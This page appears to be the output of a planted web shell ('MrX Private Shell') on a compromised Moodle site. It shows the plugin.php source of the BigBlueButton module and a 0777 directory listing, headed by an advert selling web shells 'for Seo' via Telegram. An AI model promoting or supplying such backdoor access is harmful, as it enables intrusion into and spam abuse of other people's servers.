__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
namespace mod_bigbluebuttonbn;
/**
* Class plugin.
*
* @package mod_bigbluebuttonbn
* @copyright 2019 onwards, Blindside Networks Inc
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
* @author Darko Miletic (darko.miletic [at] gmail [dt] com)
*/
abstract class plugin {
/**
* Component name.
*/
const COMPONENT = 'mod_bigbluebuttonbn';
/**
* Helper function to convert an html string to plain text.
*
* @param string $html
* @param int $len
*
* @return string
*/
public static function html2text($html, $len = 0) {
$text = strip_tags($html);
$text = str_replace(' ', ' ', $text);
$textlen = strlen($text);
$text = mb_substr($text, 0, $len);
if ($textlen > $len) {
$text .= '...';
}
return $text;
}
/**
* Helper generates a random password.
*
* @param int $length
* @param string $unique
*
* @return string
*/
public static function random_password($length = 8, $unique = "") {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
do {
$password = substr(str_shuffle($chars), 0, $length);
} while ($unique == $password);
return $password;
}
/**
* Generate random credentials for guest access
*
* @return array
*/
public static function generate_guest_meeting_credentials(): array {
$password = self::random_password();
$guestlinkuid = sha1(self::random_password(1024));
return [$guestlinkuid, $password];
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| analytics | Folder | 0777 |
|
|
| completion | Folder | 0777 |
|
|
| event | Folder | 0777 |
|
|
| external | Folder | 0777 |
|
|
| form | Folder | 0777 |
|
|
| local | Folder | 0777 |
|
|
| output | Folder | 0777 |
|
|
| plugininfo | Folder | 0777 |
|
|
| privacy | Folder | 0777 |
|
|
| search | Folder | 0777 |
|
|
| task | Folder | 0777 |
|
|
| test | Folder | 0777 |
|
|
| broker.php | File | 7.45 KB | 0777 |
|
| extension.php | File | 8.92 KB | 0777 |
|
| instance.php | File | 39.36 KB | 0777 |
|
| logger.php | File | 17.06 KB | 0777 |
|
| meeting.php | File | 23.19 KB | 0777 |
|
| plugin.php | File | 2.29 KB | 0777 |
|
| recording.php | File | 29.04 KB | 0777 |
|
| setting_validator.php | File | 8.22 KB | 0777 |
|
| settings.php | File | 42.84 KB | 0777 |
|